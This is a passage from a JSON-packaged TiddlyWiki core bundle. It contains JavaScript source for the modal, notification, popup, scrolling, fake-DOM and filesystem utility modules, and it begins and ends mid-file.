\"tm-close-tiddler\"\n\t\t\t\t}\n\t\t\t},\n\t\t\tchildren: [{\n\t\t\t\ttype: \"text\",\n\t\t\t\tattributes: {\n\t\t\t\t\ttext: {\n\t\t\t\t\t\ttype: \"string\",\n\t\t\t\t\t\tvalue: $tw.language.getString(\"Buttons/Close/Caption\")\n\t\t\t}}}\n\t\t]}],\n\t\tparentWidget: $tw.rootWidget,\n\t\tdocument: this.srcDocument,\n\t\tvariables: variables,\n\t\timportPageMacros: true\n\t});\n\tfooterWidgetNode.render(modalFooterButtons,null);\n\t// Set up the refresh handler\n\trefreshHandler = function(changes) {\n\t\theaderWidgetNode.refresh(changes,modalHeader,null);\n\t\tbodyWidgetNode.refresh(changes,modalBody,null);\n\t\tfooterWidgetNode.refresh(changes,modalFooterButtons,null);\n\t};\n\tthis.wiki.addEventListener(\"change\",refreshHandler);\n\t// Add the close event handler\n\tvar closeHandler = function(event) {\n\t\t// Remove our refresh handler\n\t\tself.wiki.removeEventListener(\"change\",refreshHandler);\n\t\t// Decrease the modal count and adjust the body class\n\t\tself.modalCount--;\n\t\tself.adjustPageClass();\n\t\t// Force layout and animate the modal message away\n\t\t$tw.utils.forceLayout(modalBackdrop);\n\t\t$tw.utils.forceLayout(modalWrapper);\n\t\t$tw.utils.setStyle(modalBackdrop,[\n\t\t\t{opacity: \"0\"}\n\t\t]);\n\t\t$tw.utils.setStyle(modalWrapper,[\n\t\t\t{transform: \"translateY(\" + self.srcWindow.innerHeight + \"px)\"}\n\t\t]);\n\t\t// Set up an event for the transition end\n\t\tself.srcWindow.setTimeout(function() {\n\t\t\tif(wrapper.parentNode) {\n\t\t\t\t// Remove the modal message from the DOM\n\t\t\t\tself.srcDocument.body.removeChild(wrapper);\n\t\t\t}\n\t\t},duration);\n\t\t// Don't let anyone else handle the tm-close-tiddler message\n\t\treturn false;\n\t};\n\theaderWidgetNode.addEventListener(\"tm-close-tiddler\",closeHandler,false);\n\tbodyWidgetNode.addEventListener(\"tm-close-tiddler\",closeHandler,false);\n\tfooterWidgetNode.addEventListener(\"tm-close-tiddler\",closeHandler,false);\n\t// Set the initial styles for the message\n\t$tw.utils.setStyle(modalBackdrop,[\n\t\t{opacity: \"0\"}\n\t]);\n\t$tw.utils.setStyle(modalWrapper,[\n\t\t{transformOrigin: \"0% 0%\"},\n\t\t{transform: \"translateY(\" + (-this.srcWindow.innerHeight) + \"px)\"}\n\t]);\n\t// Put the message into the document\n\tthis.srcDocument.body.appendChild(wrapper);\n\t// Set up animation for the styles\n\t$tw.utils.setStyle(modalBackdrop,[\n\t\t{transition: \"opacity \" + duration + \"ms ease-out\"}\n\t]);\n\t$tw.utils.setStyle(modalWrapper,[\n\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms ease-in-out\"}\n\t]);\n\t// Force layout\n\t$tw.utils.forceLayout(modalBackdrop);\n\t$tw.utils.forceLayout(modalWrapper);\n\t// Set final animated styles\n\t$tw.utils.setStyle(modalBackdrop,[\n\t\t{opacity: \"0.7\"}\n\t]);\n\t$tw.utils.setStyle(modalWrapper,[\n\t\t{transform: \"translateY(0px)\"}\n\t]);\n};\n\nModal.prototype.adjustPageClass = function() {\n\tvar windowContainer = $tw.pageContainer ? ($tw.pageContainer === this.srcDocument.body.firstChild ? $tw.pageContainer : this.srcDocument.body.firstChild) : null;\n\tif(windowContainer) {\n\t\t$tw.utils.toggleClass(windowContainer,\"tc-modal-displayed\",this.modalCount > 0);\n\t}\n};\n\nexports.Modal = Modal;\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/dom/notifier.js": {
"title": "$:/core/modules/utils/dom/notifier.js",
"text": "/*\\\ntitle: $:/core/modules/utils/dom/notifier.js\ntype: application/javascript\nmodule-type: utils\n\nNotifier mechanism\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nvar Notifier = function(wiki) {\n\tthis.wiki = wiki;\n};\n\n/*\nDisplay a notification\n\ttitle: Title of tiddler containing the notification text\n\toptions: see below\nOptions include:\n*/\nNotifier.prototype.display = function(title,options) {\n\toptions = options || {};\n\t// Create the wrapper divs\n\tvar self = this,\n\t\tnotification = document.createElement(\"div\"),\n\t\ttiddler = this.wiki.getTiddler(title),\n\t\tduration = $tw.utils.getAnimationDuration(),\n\t\trefreshHandler;\n\t// Don't do anything if the tiddler doesn't exist\n\tif(!tiddler) {\n\t\treturn;\n\t}\n\t// Add classes\n\t$tw.utils.addClass(notification,\"tc-notification\");\n\t// Create the variables\n\tvar variables = $tw.utils.extend({currentTiddler: title},options.variables);\n\t// Render the body of the notification\n\tvar widgetNode = this.wiki.makeTranscludeWidget(title,{\n\t\tparentWidget: $tw.rootWidget,\n\t\tdocument: document,\n\t\tvariables: variables,\n\t\timportPageMacros: true});\n\twidgetNode.render(notification,null);\n\trefreshHandler = function(changes) {\n\t\twidgetNode.refresh(changes,notification,null);\n\t};\n\tthis.wiki.addEventListener(\"change\",refreshHandler);\n\t// Set the initial styles for the notification\n\t$tw.utils.setStyle(notification,[\n\t\t{opacity: \"0\"},\n\t\t{transformOrigin: \"0% 0%\"},\n\t\t{transform: \"translateY(\" + (-window.innerHeight) + \"px)\"},\n\t\t{transition: \"opacity \" + duration + \"ms ease-out, \" + $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms ease-in-out\"}\n\t]);\n\t// Add the notification to the DOM\n\tdocument.body.appendChild(notification);\n\t// Force layout\n\t$tw.utils.forceLayout(notification);\n\t// Set final animated styles\n\t$tw.utils.setStyle(notification,[\n\t\t{opacity: \"1.0\"},\n\t\t{transform: \"translateY(0px)\"}\n\t]);\n\t// Set a timer to remove the notification\n\twindow.setTimeout(function() {\n\t\t// Remove our change event handler\n\t\tself.wiki.removeEventListener(\"change\",refreshHandler);\n\t\t// Force layout and animate the notification away\n\t\t$tw.utils.forceLayout(notification);\n\t\t$tw.utils.setStyle(notification,[\n\t\t\t{opacity: \"0.0\"},\n\t\t\t{transform: \"translateX(\" + (notification.offsetWidth) + \"px)\"}\n\t\t]);\n\t\t// Remove the modal message from the DOM once the transition ends\n\t\tsetTimeout(function() {\n\t\t\tif(notification.parentNode) {\n\t\t\t\tdocument.body.removeChild(notification);\n\t\t\t}\n\t\t},duration);\n\t},$tw.config.preferences.notificationDuration);\n};\n\nexports.Notifier = Notifier;\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/dom/popup.js": {
"title": "$:/core/modules/utils/dom/popup.js",
"text": "/*\\\ntitle: $:/core/modules/utils/dom/popup.js\ntype: application/javascript\nmodule-type: utils\n\nModule that creates a $tw.utils.Popup object prototype that manages popups in the browser\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nCreates a Popup object with these options:\n\trootElement: the DOM element to which the popup zapper should be attached\n*/\nvar Popup = function(options) {\n\toptions = options || {};\n\tthis.rootElement = options.rootElement || document.documentElement;\n\tthis.popups = []; // Array of {title:,wiki:,domNode:} objects\n};\n\n/*\nTrigger a popup open or closed. Parameters are in a hashmap:\n\ttitle: title of the tiddler where the popup details are stored\n\tdomNode: dom node to which the popup will be positioned (one of domNode or domNodeRect is required)\n\tdomNodeRect: rectangle to which the popup will be positioned\n\twiki: wiki\n\tforce: if specified, forces the popup state to true or false (instead of toggling it)\n\tfloating: if true, skips registering the popup, meaning that it will need manually clearing\n*/\nPopup.prototype.triggerPopup = function(options) {\n\t// Check if this popup is already active\n\tvar index = this.findPopup(options.title);\n\t// Compute the new state\n\tvar state = index === -1;\n\tif(options.force !== undefined) {\n\t\tstate = options.force;\n\t}\n\t// Show or cancel the popup according to the new state\n\tif(state) {\n\t\tthis.show(options);\n\t} else {\n\t\tthis.cancel(index);\n\t}\n};\n\nPopup.prototype.findPopup = function(title) {\n\tvar index = -1;\n\tfor(var t=0; t<this.popups.length; t++) {\n\t\tif(this.popups[t].title === title) {\n\t\t\tindex = t;\n\t\t}\n\t}\n\treturn index;\n};\n\nPopup.prototype.handleEvent = function(event) {\n\tif(event.type === \"click\") {\n\t\t// Find out what was clicked on\n\t\tvar info = this.popupInfo(event.target),\n\t\t\tcancelLevel = info.popupLevel - 1;\n\t\t// Don't remove the level that was clicked on if we clicked on a handle\n\t\tif(info.isHandle) {\n\t\t\tcancelLevel++;\n\t\t}\n\t\t// Cancel\n\t\tthis.cancel(cancelLevel);\n\t}\n};\n\n/*\nFind the popup level containing a DOM node. Returns:\npopupLevel: count of the number of nested popups containing the specified element\nisHandle: true if the specified element is within a popup handle\n*/\nPopup.prototype.popupInfo = function(domNode) {\n\tvar isHandle = false,\n\t\tpopupCount = 0,\n\t\tnode = domNode;\n\t// First check ancestors to see if we're within a popup handle\n\twhile(node) {\n\t\tif($tw.utils.hasClass(node,\"tc-popup-handle\")) {\n\t\t\tisHandle = true;\n\t\t\tpopupCount++;\n\t\t}\n\t\tif($tw.utils.hasClass(node,\"tc-popup-keep\")) {\n\t\t\tisHandle = true;\n\t\t}\n\t\tnode = node.parentNode;\n\t}\n\t// Then count the number of ancestor popups\n\tnode = domNode;\n\twhile(node) {\n\t\tif($tw.utils.hasClass(node,\"tc-popup\")) {\n\t\t\tpopupCount++;\n\t\t}\n\t\tnode = node.parentNode;\n\t}\n\tvar info = {\n\t\tpopupLevel: popupCount,\n\t\tisHandle: isHandle\n\t};\n\treturn info;\n};\n\n/*\nDisplay a popup by adding it to the stack\n*/\nPopup.prototype.show = function(options) {\n\t// Find out what was clicked on\n\tvar info = this.popupInfo(options.domNode);\n\t// Cancel any higher level popups\n\tthis.cancel(info.popupLevel);\n\n\t// Store the popup details if not already there\n\tif(!options.floating && this.findPopup(options.title) === -1) {\n\t\tthis.popups.push({\n\t\t\ttitle: options.title,\n\t\t\twiki: options.wiki,\n\t\t\tdomNode: options.domNode,\n\t\t\tnoStateReference: options.noStateReference\n\t\t});\n\t}\n\t// Set the state tiddler\n\tvar rect;\n\tif(options.domNodeRect) {\n\t\trect = options.domNodeRect;\n\t} else {\n\t\trect = {\n\t\t\tleft: options.domNode.offsetLeft,\n\t\t\ttop: options.domNode.offsetTop,\n\t\t\twidth: options.domNode.offsetWidth,\n\t\t\theight: options.domNode.offsetHeight\n\t\t};\n\t}\n\tvar popupRect = \"(\" + rect.left + \",\" + rect.top + \",\" + \n\t\t\t\trect.width + \",\" + rect.height + \")\";\n\tif(options.noStateReference) {\n\t\toptions.wiki.setText(options.title,\"text\",undefined,popupRect);\n\t} else {\n\t\toptions.wiki.setTextReference(options.title,popupRect);\n\t}\n\t// Add the click handler if we have any popups\n\tif(this.popups.length > 0) {\n\t\tthis.rootElement.addEventListener(\"click\",this,true);\t\t\n\t}\n};\n\n/*\nCancel all popups at or above a specified level or DOM node\nlevel: popup level to cancel (0 cancels all popups)\n*/\nPopup.prototype.cancel = function(level) {\n\tvar numPopups = this.popups.length;\n\tlevel = Math.max(0,Math.min(level,numPopups));\n\tfor(var t=level; t<numPopups; t++) {\n\t\tvar popup = this.popups.pop();\n\t\tif(popup.title) {\n\t\t\tif(popup.noStateReference) {\n\t\t\t\tpopup.wiki.deleteTiddler(popup.title);\n\t\t\t} else {\n\t\t\t\tpopup.wiki.deleteTiddler($tw.utils.parseTextReference(popup.title).title);\n \t\t}\n\t\t}\n\t}\n\tif(this.popups.length === 0) {\n\t\tthis.rootElement.removeEventListener(\"click\",this,false);\n\t}\n};\n\n/*\nReturns true if the specified title and text identifies an active popup\n*/\nPopup.prototype.readPopupState = function(text) {\n\tvar popupLocationRegExp = /^\\((-?[0-9\\.E]+),(-?[0-9\\.E]+),(-?[0-9\\.E]+),(-?[0-9\\.E]+)\\)$/;\n\treturn popupLocationRegExp.test(text);\n};\n\nexports.Popup = Popup;\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/dom/scroller.js": {
"title": "$:/core/modules/utils/dom/scroller.js",
"text": "/*\\\ntitle: $:/core/modules/utils/dom/scroller.js\ntype: application/javascript\nmodule-type: utils\n\nModule that creates a $tw.utils.Scroller object prototype that manages scrolling in the browser\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nEvent handler for when the `tm-scroll` event hits the document body\n*/\nvar PageScroller = function() {\n\tthis.idRequestFrame = null;\n\tthis.requestAnimationFrame = window.requestAnimationFrame ||\n\t\twindow.webkitRequestAnimationFrame ||\n\t\twindow.mozRequestAnimationFrame ||\n\t\tfunction(callback) {\n\t\t\treturn window.setTimeout(callback, 1000/60);\n\t\t};\n\tthis.cancelAnimationFrame = window.cancelAnimationFrame ||\n\t\twindow.webkitCancelAnimationFrame ||\n\t\twindow.webkitCancelRequestAnimationFrame ||\n\t\twindow.mozCancelAnimationFrame ||\n\t\twindow.mozCancelRequestAnimationFrame ||\n\t\tfunction(id) {\n\t\t\twindow.clearTimeout(id);\n\t\t};\n};\n\nPageScroller.prototype.isScrolling = function() {\n\treturn this.idRequestFrame !== null;\n}\n\nPageScroller.prototype.cancelScroll = function(srcWindow) {\n\tif(this.idRequestFrame) {\n\t\tthis.cancelAnimationFrame.call(srcWindow,this.idRequestFrame);\n\t\tthis.idRequestFrame = null;\n\t}\n};\n\n/*\nHandle an event\n*/\nPageScroller.prototype.handleEvent = function(event) {\n\tif(event.type === \"tm-scroll\") {\n\t\treturn this.scrollIntoView(event.target);\n\t}\n\treturn true;\n};\n\n/*\nHandle a scroll event hitting the page document\n*/\nPageScroller.prototype.scrollIntoView = function(element,callback) {\n\tvar self = this,\n\t\tduration = $tw.utils.getAnimationDuration(),\n\t srcWindow = element ? element.ownerDocument.defaultView : window;\n\t// Now get ready to scroll the body\n\tthis.cancelScroll(srcWindow);\n\tthis.startTime = Date.now();\n\t// Get the height of any position:fixed toolbars\n\tvar toolbar = srcWindow.document.querySelector(\".tc-adjust-top-of-scroll\"),\n\t\toffset = 0;\n\tif(toolbar) {\n\t\toffset = toolbar.offsetHeight;\n\t}\n\t// Get the client bounds of the element and adjust by the scroll position\n\tvar getBounds = function() {\n\t\t\tvar clientBounds = typeof callback === 'function' ? callback() : element.getBoundingClientRect(),\n\t\t\t\tscrollPosition = $tw.utils.getScrollPosition(srcWindow);\n\t\t\treturn {\n\t\t\t\tleft: clientBounds.left + scrollPosition.x,\n\t\t\t\ttop: clientBounds.top + scrollPosition.y - offset,\n\t\t\t\twidth: clientBounds.width,\n\t\t\t\theight: clientBounds.height\n\t\t\t};\n\t\t},\n\t\t// We'll consider the horizontal and vertical scroll directions separately via this function\n\t\t// targetPos/targetSize - position and size of the target element\n\t\t// currentPos/currentSize - position and size of the current scroll viewport\n\t\t// returns: new position of the scroll viewport\n\t\tgetEndPos = function(targetPos,targetSize,currentPos,currentSize) {\n\t\t\tvar newPos = targetPos;\n\t\t\t// If we are scrolling within 50 pixels of the top/left then snap to zero\n\t\t\tif(newPos < 50) {\n\t\t\t\tnewPos = 0;\n\t\t\t}\n\t\t\treturn newPos;\n\t\t},\n\t\tdrawFrame = function drawFrame() {\n\t\t\tvar t;\n\t\t\tif(duration <= 0) {\n\t\t\t\tt = 1;\n\t\t\t} else {\n\t\t\t\tt = ((Date.now()) - self.startTime) / duration;\t\n\t\t\t}\n\t\t\tif(t >= 1) {\n\t\t\t\tself.cancelScroll(srcWindow);\n\t\t\t\tt = 1;\n\t\t\t}\n\t\t\tt = $tw.utils.slowInSlowOut(t);\n\t\t\tvar scrollPosition = $tw.utils.getScrollPosition(srcWindow),\n\t\t\t\tbounds = getBounds(),\n\t\t\t\tendX = getEndPos(bounds.left,bounds.width,scrollPosition.x,srcWindow.innerWidth),\n\t\t\t\tendY = getEndPos(bounds.top,bounds.height,scrollPosition.y,srcWindow.innerHeight);\n\t\t\tsrcWindow.scrollTo(scrollPosition.x + (endX - scrollPosition.x) * t,scrollPosition.y + (endY - scrollPosition.y) * t);\n\t\t\tif(t < 1) {\n\t\t\t\tself.idRequestFrame = self.requestAnimationFrame.call(srcWindow,drawFrame);\n\t\t\t}\n\t\t};\n\tdrawFrame();\n};\n\nexports.PageScroller = PageScroller;\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/edition-info.js": {
"title": "$:/core/modules/utils/edition-info.js",
"text": "/*\\\ntitle: $:/core/modules/utils/edition-info.js\ntype: application/javascript\nmodule-type: utils-node\n\nInformation about the available editions\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar fs = require(\"fs\"),\n\tpath = require(\"path\");\n\nvar editionInfo;\n\nexports.getEditionInfo = function() {\n\tif(!editionInfo) {\n\t\t// Enumerate the edition paths\n\t\tvar editionPaths = $tw.getLibraryItemSearchPaths($tw.config.editionsPath,$tw.config.editionsEnvVar);\n\t\teditionInfo = {};\n\t\tfor(var editionIndex=0; editionIndex<editionPaths.length; editionIndex++) {\n\t\t\tvar editionPath = editionPaths[editionIndex];\n\t\t\t// Enumerate the folders\n\t\t\tvar entries = fs.readdirSync(editionPath);\n\t\t\tfor(var entryIndex=0; entryIndex<entries.length; entryIndex++) {\n\t\t\t\tvar entry = entries[entryIndex];\n\t\t\t\t// Check if directories have a valid tiddlywiki.info\n\t\t\t\tif(!editionInfo[entry] && $tw.utils.isDirectory(path.resolve(editionPath,entry))) {\n\t\t\t\t\tvar info;\n\t\t\t\t\ttry {\n\t\t\t\t\t\tinfo = JSON.parse(fs.readFileSync(path.resolve(editionPath,entry,\"tiddlywiki.info\"),\"utf8\"));\n\t\t\t\t\t} catch(ex) {\n\t\t\t\t\t}\n\t\t\t\t\tif(info) {\n\t\t\t\t\t\teditionInfo[entry] = info;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn editionInfo;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "utils-node"
},
"$:/core/modules/utils/fakedom.js": {
"title": "$:/core/modules/utils/fakedom.js",
"text": "/*\\\ntitle: $:/core/modules/utils/fakedom.js\ntype: application/javascript\nmodule-type: global\n\nA barebones implementation of DOM interfaces needed by the rendering mechanism.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Sequence number used to enable us to track objects for testing\nvar sequenceNumber = null;\n\nvar bumpSequenceNumber = function(object) {\n\tif(sequenceNumber !== null) {\n\t\tobject.sequenceNumber = sequenceNumber++;\n\t}\n};\n\nvar TW_TextNode = function(text) {\n\tbumpSequenceNumber(this);\n\tthis.textContent = text + \"\";\n};\n\nObject.defineProperty(TW_TextNode.prototype, \"nodeType\", {\n\tget: function() {\n\t\treturn 3;\n\t}\n});\n\nObject.defineProperty(TW_TextNode.prototype, \"formattedTextContent\", {\n\tget: function() {\n\t\treturn this.textContent.replace(/(\\r?\\n)/g,\"\");\n\t}\n});\n\nvar TW_Element = function(tag,namespace) {\n\tbumpSequenceNumber(this);\n\tthis.isTiddlyWikiFakeDom = true;\n\tthis.tag = tag;\n\tthis.attributes = {};\n\tthis.isRaw = false;\n\tthis.children = [];\n\tthis._style = {};\n\tthis.namespaceURI = namespace || \"http://www.w3.org/1999/xhtml\";\n};\n\nObject.defineProperty(TW_Element.prototype, \"style\", {\n\tget: function() {\n\t\treturn this._style;\n\t},\n\tset: function(str) {\n\t\tvar self = this;\n\t\tstr = str || \"\";\n\t\t$tw.utils.each(str.split(\";\"),function(declaration) {\n\t\t\tvar parts = declaration.split(\":\"),\n\t\t\t\tname = $tw.utils.trim(parts[0]),\n\t\t\t\tvalue = $tw.utils.trim(parts[1]);\n\t\t\tif(name && value) {\n\t\t\t\tself._style[$tw.utils.convertStyleNameToPropertyName(name)] = value;\n\t\t\t}\n\t\t});\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"nodeType\", {\n\tget: function() {\n\t\treturn 1;\n\t}\n});\n\nTW_Element.prototype.getAttribute = function(name) {\n\tif(this.isRaw) {\n\t\tthrow \"Cannot getAttribute on a raw TW_Element\";\n\t}\n\treturn this.attributes[name];\n};\n\nTW_Element.prototype.setAttribute = function(name,value) {\n\tif(this.isRaw) {\n\t\tthrow \"Cannot setAttribute on a raw TW_Element\";\n\t}\n\tthis.attributes[name] = value + \"\";\n};\n\nTW_Element.prototype.setAttributeNS = function(namespace,name,value) {\n\tthis.setAttribute(name,value);\n};\n\nTW_Element.prototype.removeAttribute = function(name) {\n\tif(this.isRaw) {\n\t\tthrow \"Cannot removeAttribute on a raw TW_Element\";\n\t}\n\tif($tw.utils.hop(this.attributes,name)) {\n\t\tdelete this.attributes[name];\n\t}\n};\n\nTW_Element.prototype.appendChild = function(node) {\n\tthis.children.push(node);\n\tnode.parentNode = this;\n};\n\nTW_Element.prototype.insertBefore = function(node,nextSibling) {\n\tif(nextSibling) {\n\t\tvar p = this.children.indexOf(nextSibling);\n\t\tif(p !== -1) {\n\t\t\tthis.children.splice(p,0,node);\n\t\t\tnode.parentNode = this;\n\t\t} else {\n\t\t\tthis.appendChild(node);\n\t\t}\n\t} else {\n\t\tthis.appendChild(node);\n\t}\n};\n\nTW_Element.prototype.removeChild = function(node) {\n\tvar p = this.children.indexOf(node);\n\tif(p !== -1) {\n\t\tthis.children.splice(p,1);\n\t}\n};\n\nTW_Element.prototype.hasChildNodes = function() {\n\treturn !!this.children.length;\n};\n\nObject.defineProperty(TW_Element.prototype, \"childNodes\", {\n\tget: function() {\n\t\treturn this.children;\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"firstChild\", {\n\tget: function() {\n\t\treturn this.children[0];\n\t}\n});\n\nTW_Element.prototype.addEventListener = function(type,listener,useCapture) {\n\t// Do nothing\n};\n\nObject.defineProperty(TW_Element.prototype, \"tagName\", {\n\tget: function() {\n\t\treturn this.tag || \"\";\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"className\", {\n\tget: function() {\n\t\treturn this.attributes[\"class\"] || \"\";\n\t},\n\tset: function(value) {\n\t\tthis.attributes[\"class\"] = value + \"\";\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"value\", {\n\tget: function() {\n\t\treturn this.attributes.value || \"\";\n\t},\n\tset: function(value) {\n\t\tthis.attributes.value = value + \"\";\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"outerHTML\", {\n\tget: function() {\n\t\tvar output = [],attr,a,v;\n\t\toutput.push(\"<\",this.tag);\n\t\tif(this.attributes) {\n\t\t\tattr = [];\n\t\t\tfor(a in this.attributes) {\n\t\t\t\tattr.push(a);\n\t\t\t}\n\t\t\tattr.sort();\n\t\t\tfor(a=0; a<attr.length; a++) {\n\t\t\t\tv = this.attributes[attr[a]];\n\t\t\t\tif(v !== undefined) {\n\t\t\t\t\toutput.push(\" \",attr[a],\"=\\\"\",$tw.utils.htmlEncode(v),\"\\\"\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(this._style) {\n\t\t\tvar style = [];\n\t\t\tfor(var s in this._style) {\n\t\t\t\tstyle.push($tw.utils.convertPropertyNameToStyleName(s) + \":\" + this._style[s] + \";\");\n\t\t\t}\n\t\t\tif(style.length > 0) {\n\t\t\t\toutput.push(\" style=\\\"\",style.join(\"\"),\"\\\"\");\n\t\t\t}\n\t\t}\n\t\toutput.push(\">\");\n\t\tif($tw.config.htmlVoidElements.indexOf(this.tag) === -1) {\n\t\t\toutput.push(this.innerHTML);\n\t\t\toutput.push(\"</\",this.tag,\">\");\n\t\t}\n\t\treturn output.join(\"\");\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"innerHTML\", {\n\tget: function() {\n\t\tif(this.isRaw) {\n\t\t\treturn this.rawHTML;\n\t\t} else {\n\t\t\tvar b = [];\n\t\t\t$tw.utils.each(this.children,function(node) {\n\t\t\t\tif(node instanceof TW_Element) {\n\t\t\t\t\tb.push(node.outerHTML);\n\t\t\t\t} else if(node instanceof TW_TextNode) {\n\t\t\t\t\tb.push($tw.utils.htmlEncode(node.textContent));\n\t\t\t\t}\n\t\t\t});\n\t\t\treturn b.join(\"\");\n\t\t}\n\t},\n\tset: function(value) {\n\t\tthis.isRaw = true;\n\t\tthis.rawHTML = value;\n\t\tthis.rawTextContent = null;\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"textInnerHTML\", {\n\tset: function(value) {\n\t\tif(this.isRaw) {\n\t\t\tthis.rawTextContent = value;\n\t\t} else {\n\t\t\tthrow \"Cannot set textInnerHTML of a non-raw TW_Element\";\n\t\t}\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"textContent\", {\n\tget: function() {\n\t\tif(this.isRaw) {\n\t\t\tif(this.rawTextContent === null) {\n\t\t\t\treturn \"\";\n\t\t\t} else {\n\t\t\t\treturn this.rawTextContent;\n\t\t\t}\n\t\t} else {\n\t\t\tvar b = [];\n\t\t\t$tw.utils.each(this.children,function(node) {\n\t\t\t\tb.push(node.textContent);\n\t\t\t});\n\t\t\treturn b.join(\"\");\n\t\t}\n\t},\n\tset: function(value) {\n\t\tthis.children = [new TW_TextNode(value)];\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"formattedTextContent\", {\n\tget: function() {\n\t\tif(this.isRaw) {\n\t\t\treturn \"\";\n\t\t} else {\n\t\t\tvar b = [],\n\t\t\t\tisBlock = $tw.config.htmlBlockElements.indexOf(this.tag) !== -1;\n\t\t\tif(isBlock) {\n\t\t\t\tb.push(\"\\n\");\n\t\t\t}\n\t\t\tif(this.tag === \"li\") {\n\t\t\t\tb.push(\"* \");\n\t\t\t}\n\t\t\t$tw.utils.each(this.children,function(node) {\n\t\t\t\tb.push(node.formattedTextContent);\n\t\t\t});\n\t\t\tif(isBlock) {\n\t\t\t\tb.push(\"\\n\");\n\t\t\t}\n\t\t\treturn b.join(\"\");\n\t\t}\n\t}\n});\n\nvar document = {\n\tsetSequenceNumber: function(value) {\n\t\tsequenceNumber = value;\n\t},\n\tcreateElementNS: function(namespace,tag) {\n\t\treturn new TW_Element(tag,namespace);\n\t},\n\tcreateElement: function(tag) {\n\t\treturn new TW_Element(tag);\n\t},\n\tcreateTextNode: function(text) {\n\t\treturn new TW_TextNode(text);\n\t},\n\tcompatMode: \"CSS1Compat\", // For KaTeX to know that we're not a browser in quirks mode\n\tisTiddlyWikiFakeDom: true\n};\n\nexports.fakeDocument = document;\n\n})();\n",
"type": "application/javascript",
"module-type": "global"
},
"$:/core/modules/utils/filesystem.js": {
"title": "$:/core/modules/utils/filesystem.js",
"text": "/*\\\ntitle: $:/core/modules/utils/filesystem.js\ntype: application/javascript\nmodule-type: utils-node\n\nFile system utilities\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar fs = require(\"fs\"),\n\tpath = require(\"path\");\n\n/*\nRecursively (and synchronously) copy a directory and all its content\n*/\nexports.copyDirectory = function(srcPath,dstPath) {\n\t// Remove any trailing path separators\n\tsrcPath = $tw.utils.removeTrailingSeparator(srcPath);\n\tdstPath = $tw.utils.removeTrailingSeparator(dstPath);\n\t// Create the destination directory\n\tvar err = $tw.utils.createDirectory(dstPath);\n\tif(err) {\n\t\treturn err;\n\t}\n\t// Function to copy a folder full of files\n\tvar copy = function(srcPath,dstPath) {\n\t\tvar srcStats = fs.lstatSync(srcPath),\n\t\t\tdstExists = fs.existsSync(dstPath);\n\t\tif(srcStats.isFile()) {\n\t\t\t$tw.utils.copyFile(srcPath,dstPath);\n\t\t} else if(srcStats.isDirectory()) {\n\t\t\tvar items = fs.readdirSync(srcPath);\n\t\t\tfor(var t=0; t<items.length; t++) {\n\t\t\t\tvar item = items[t],\n\t\t\t\t\terr = copy(srcPath + path.sep + item,dstPath + path.sep + item);\n\t\t\t\tif(err) {\n\t\t\t\t\treturn err;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n\tcopy(srcPath,dstPath);\n\treturn null;\n};\n\n/*\nCopy a file\n*/\nvar FILE_BUFFER_LENGTH = 64 * 1024,\n\tfileBuffer;\n\nexports.copyFile = function(srcPath,dstPath) {\n\t// Create buffer if required\n\tif(!fileBuffer) {\n\t\tfileBuffer = Buffer.alloc(FILE_BUFFER_LENGTH);\n\t}\n\t// Create any directories in the destination\n\t$tw.utils.createDirectory(path.dirname(dstPath));\n\t// Copy the file\n\tvar srcFile = fs.openSync(srcPath,\"r\"),\n\t\tdstFile = fs.openSync(dstPath,\"w\"),\n\t\tbytesRead = 1,\n\t\tpos = 0;\n\twhile (bytesRead > 0) {\n\t\tbytesRead = fs.readSync(srcFile,fileBuffer,0,FILE_BUFFER_LENGTH,pos);\n\t\tfs.writeSync(dstFile,fileBuffer,0,bytesRead);\n\t\tpos += bytesRead;\n\t}\n\tfs.closeSync(srcFile);\n\tfs.closeSync(dstFile);\n\treturn null;\n};\n\n/*\nRemove trailing path separator\n*/\nexports.removeTrailingSeparator = function(dirPath) {\n\tvar len = dirPath.length;\n\tif(dirPath.charAt(len-1) === path.sep) {\n\t\tdirPath = dirPath.substr(0,len-1);\n\t}\n\treturn dirPath;\n};\n\n/*\nRecursively create a directory\n*/\nexports.createDirectory = function(dirPath) {\n\tif(dirPath.substr(dirPath.length-1,1) !== path.sep) {\n\t\tdirPath = dirPath + path.sep;\n\t}\n\tvar pos = 1;\n\tpos = dirPath.indexOf(path.sep,pos);\n\twhile(pos !== -1) {\n\t\tvar subDirPath = dirPath.substr(0,pos);\n\t\tif(!$tw.utils.isDirectory(subDirPath)) {\n\t\t\ttry {\n\t\t\t\tfs.mkdirSync(subDirPath);\n\t\t\t} catch(e) {\n\t\t\t\treturn \"Error creating directory '\" + 